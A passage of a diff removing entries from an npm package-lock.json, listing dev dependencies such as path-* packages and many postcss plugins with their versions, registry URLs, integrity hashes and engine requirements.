"node_modules/path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/path-is-inside": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", - "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=", - "dev": true - }, - "node_modules/path-key": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", - "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/path-parse": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", - "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==", - "dev": true - }, - "node_modules/path-platform": { - "version": "0.11.15", - "resolved": "https://registry.npmjs.org/path-platform/-/path-platform-0.11.15.tgz", - "integrity": "sha1-6GQhf3TDaFDwhSt43Hv31KVyG/I=", - "dev": true, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/path-type": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", - "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/pbkdf2": { - "version": "3.0.12", - "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.12.tgz", - "integrity": "sha1-vjZ4XFBn6kjYBv+SMojF91C2uKI=", - "dev": true, - "dependencies": { - "create-hash": "^1.1.2", - "create-hmac": "^1.1.4", - "ripemd160": "^2.0.1", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" - }, - "engines": { - "node": ">=0.12" - } - }, - "node_modules/performance-now": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", - "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", - "dev": true - }, - "node_modules/picomatch": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz", - "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==", - "dev": true, - "optional": true, - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/pinkie": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", - "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/pinkie-promise": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", - "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", - "dev": true, - "dependencies": { - "pinkie": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/pkg-dir": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-2.0.0.tgz", - "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=", - "dev": true, - "dependencies": { - "find-up": "^2.1.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/pkg-dir/node_modules/find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", - "dev": true, - "dependencies": { - "locate-path": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/pluralize": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", - "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/popper.js": { - "version": "1.14.4", - "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.14.4.tgz", - "integrity": "sha1-juwdj/AqWjoVLdQ0FKFce3n9abY=", - "deprecated": "You can find the new Popper v2 at @popperjs/core, this package is dedicated to the legacy v1" - }, - "node_modules/posix-character-classes": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", - "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss": { - "version": "5.2.18", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-5.2.18.tgz", - "integrity": "sha512-zrUjRRe1bpXKsX1qAJNJjqZViErVuyEkMTRrwu4ud4sbTtIBRmtaYDrHmcGgmrbsW3MHfmtIf+vJumgQn+PrXg==", - "dev": true, - "dependencies": { - "chalk": "^1.1.3", - "js-base64": "^2.1.9", - "source-map": "^0.5.6", - "supports-color": "^3.2.3" - }, - "engines": { - "node": ">=0.12" - } - }, - "node_modules/postcss-calc": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-5.3.1.tgz", - "integrity": "sha1-d7rnypKK2FcW4v2kLyYb98HWW14=", - "dev": true, - "dependencies": { - "postcss": "^5.0.2", - "postcss-message-helpers": "^2.0.0", - "reduce-css-calc": "^1.2.6" - } - }, - "node_modules/postcss-colormin": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-2.2.2.tgz", - "integrity": "sha1-ZjFBfV8OkJo9fsJrJMio0eT5bks=", - "dev": true, - "dependencies": { - "colormin": "^1.0.5", - "postcss": "^5.0.13", - "postcss-value-parser": "^3.2.3" - } - }, - "node_modules/postcss-convert-values": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-2.6.1.tgz", - "integrity": "sha1-u9hZPFwf0uPRwyK7kl3K6Nrk1i0=", - "dev": true, - "dependencies": { - "postcss": "^5.0.11", - "postcss-value-parser": "^3.1.2" - } - }, - "node_modules/postcss-discard-comments": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-2.0.4.tgz", - "integrity": "sha1-vv6J+v1bPazlzM5Rt2uBUUvgDj0=", - "dev": true, - "dependencies": { - "postcss": "^5.0.14" - } - }, - "node_modules/postcss-discard-duplicates": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-2.1.0.tgz", - "integrity": "sha1-uavye4isGIFYpesSq8riAmO5GTI=", - "dev": true, - "dependencies": { - "postcss": "^5.0.4" - } - }, - "node_modules/postcss-discard-empty": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-2.1.0.tgz", - "integrity": "sha1-0rS9nVztXr2Nyt52QMfXzX9PkrU=", - "dev": true, - "dependencies": { - "postcss": "^5.0.14" - } - }, - "node_modules/postcss-discard-overridden": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-0.1.1.tgz", - "integrity": "sha1-ix6vVU9ob7KIzYdMVWZ7CqNmjVg=", - "dev": true, - "dependencies": { - "postcss": "^5.0.16" - } - }, - "node_modules/postcss-discard-unused": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/postcss-discard-unused/-/postcss-discard-unused-2.2.3.tgz", - "integrity": "sha1-vOMLLMWR/8Y0Mitfs0ZLbZNPRDM=", - "dev": true, - "dependencies": { - "postcss": "^5.0.14", - "uniqs": "^2.0.0" - } - }, - "node_modules/postcss-filter-plugins": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/postcss-filter-plugins/-/postcss-filter-plugins-2.0.3.tgz", - "integrity": "sha512-T53GVFsdinJhgwm7rg1BzbeBRomOg9y5MBVhGcsV0CxurUdVj1UlPdKtn7aqYA/c/QVkzKMjq2bSV5dKG5+AwQ==", - "dev": true, - "dependencies": { - "postcss": "^5.0.4" - } - }, - "node_modules/postcss-load-config": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-1.2.0.tgz", - "integrity": "sha1-U56a/J3chiASHr+djDZz4M5Q0oo=", - "dev": true, - "dependencies": { - "cosmiconfig": "^2.1.0", - "object-assign": "^4.1.0", - "postcss-load-options": "^1.2.0", - "postcss-load-plugins": "^2.3.0" - }, - "engines": { - "node": ">=0.12" - } - }, - "node_modules/postcss-load-options": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postcss-load-options/-/postcss-load-options-1.2.0.tgz", - "integrity": "sha1-sJixVZ3awt8EvAuzdfmaXP4rbYw=", - "dev": true, - "dependencies": { - "cosmiconfig": "^2.1.0", - "object-assign": "^4.1.0" - }, - "engines": { - "node": ">=0.12" - } - }, - "node_modules/postcss-load-plugins": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/postcss-load-plugins/-/postcss-load-plugins-2.3.0.tgz", - "integrity": "sha1-dFdoEWWZrKLwCfrUJrABdQSdjZI=", - "dev": true, - "dependencies": { - "cosmiconfig": "^2.1.1", - "object-assign": "^4.1.0" - }, - "engines": { - "node": ">=0.12" - } - }, - "node_modules/postcss-merge-idents": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/postcss-merge-idents/-/postcss-merge-idents-2.1.7.tgz", - "integrity": "sha1-TFUwMTwI4dWzu/PSu8dH4njuonA=", - "dev": true, - "dependencies": { - "has": "^1.0.1", - "postcss": "^5.0.10", - "postcss-value-parser": "^3.1.1" - } - }, - "node_modules/postcss-merge-longhand": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-2.0.2.tgz", - "integrity": "sha1-I9kM0Sewp3mUkVMyc5A0oaTz1lg=", - "dev": true, - "dependencies": { - "postcss": "^5.0.4" - } - }, - "node_modules/postcss-merge-rules": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-2.1.2.tgz", - "integrity": "sha1-0d9d+qexrMO+VT8OnhDofGG19yE=", - "dev": true, - "dependencies": { - "browserslist": "^1.5.2", - "caniuse-api": "^1.5.2", - "postcss": "^5.0.4", - "postcss-selector-parser": "^2.2.2", - "vendors": "^1.0.0" - } - }, - "node_modules/postcss-merge-rules/node_modules/browserslist": { - "version": "1.7.7", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", - "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", - "deprecated": "Browserslist 2 could fail on reading Browserslist >3.0 config used in other tools.", - "dev": true, - "dependencies": { - "caniuse-db": "^1.0.30000639", - "electron-to-chromium": "^1.2.7" - }, - "bin": { - "browserslist": "cli.js" - } - }, - "node_modules/postcss-message-helpers": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postcss-message-helpers/-/postcss-message-helpers-2.0.0.tgz", - "integrity": "sha1-pPL0+rbk/gAvCu0ABHjN9S+bpg4=", - "dev": true - }, - "node_modules/postcss-minify-font-values": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-1.0.5.tgz", - "integrity": "sha1-S1jttWZB66fIR0qzUmyv17vey2k=", - "dev": true, - "dependencies": { - "object-assign": "^4.0.1", - "postcss": "^5.0.4", - "postcss-value-parser": "^3.0.2" - } - }, - "node_modules/postcss-minify-gradients": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-1.0.5.tgz", - "integrity": "sha1-Xb2hE3NwP4PPtKPqOIHY11/15uE=", - "dev": true, - "dependencies": { - "postcss": "^5.0.12", - "postcss-value-parser": "^3.3.0" - } - }, - "node_modules/postcss-minify-params": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-1.2.2.tgz", - "integrity": "sha1-rSzgcTc7lDs9kwo/pZo1jCjW8fM=", - "dev": true, - "dependencies": { - "alphanum-sort": "^1.0.1", - "postcss": "^5.0.2", - "postcss-value-parser": "^3.0.2", - "uniqs": "^2.0.0" - } - }, - "node_modules/postcss-minify-selectors": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-2.1.1.tgz", - "integrity": "sha1-ssapjAByz5G5MtGkllCBFDEXNb8=", - "dev": true, - "dependencies": { - "alphanum-sort": "^1.0.2", - "has": "^1.0.1", - "postcss": "^5.0.14", - "postcss-selector-parser": "^2.0.0" - } - }, - "node_modules/postcss-modules-extract-imports": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.2.0.tgz", - "integrity": "sha1-ZhQOzs447wa/DT41XWm/WdFB6oU=", - "dev": true, - "dependencies": { - "postcss": "^6.0.1" - } - }, - "node_modules/postcss-modules-extract-imports/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-extract-imports/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-extract-imports/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-modules-extract-imports/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-modules-extract-imports/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-extract-imports/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-modules-extract-imports/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-modules-extract-imports/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-local-by-default": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-1.2.0.tgz", - "integrity": "sha1-99gMOYxaOT+nlkRmvRlQCn1hwGk=", - "dev": true, - "dependencies": { - "css-selector-tokenizer": "^0.7.0", - "postcss": "^6.0.1" - } - }, - "node_modules/postcss-modules-local-by-default/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-local-by-default/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-local-by-default/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-modules-local-by-default/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-modules-local-by-default/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-local-by-default/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-modules-local-by-default/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-modules-local-by-default/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-scope": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-1.1.0.tgz", - "integrity": "sha1-1upkmUx5+XtipytCb75gVqGUu5A=", - "dev": true, - "dependencies": { - "css-selector-tokenizer": "^0.7.0", - "postcss": "^6.0.1" - } - }, - "node_modules/postcss-modules-scope/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-scope/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-scope/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-modules-scope/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-modules-scope/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-scope/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-modules-scope/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-modules-scope/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-values": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-1.3.0.tgz", - "integrity": "sha1-7P+p1+GSUYOJ9CrQ6D9yrsRW6iA=", - "dev": true, - "dependencies": { - "icss-replace-symbols": "^1.1.0", - "postcss": "^6.0.1" - } - }, - "node_modules/postcss-modules-values/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-values/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-values/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-modules-values/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-modules-values/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-modules-values/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-modules-values/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-modules-values/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-charset": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-1.1.1.tgz", - "integrity": "sha1-757nEhLX/nWceO0WL2HtYrXLk/E=", - "dev": true, - "dependencies": { - "postcss": "^5.0.5" - } - }, - "node_modules/postcss-normalize-display-values": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-4.0.0.tgz", - "integrity": "sha1-lQ4Me+NEV3ChYP/9a2ZEw8DNj4k=", - "dev": true, - "dependencies": { - "cssnano-util-get-match": "^4.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/postcss-normalize-display-values/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-display-values/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - 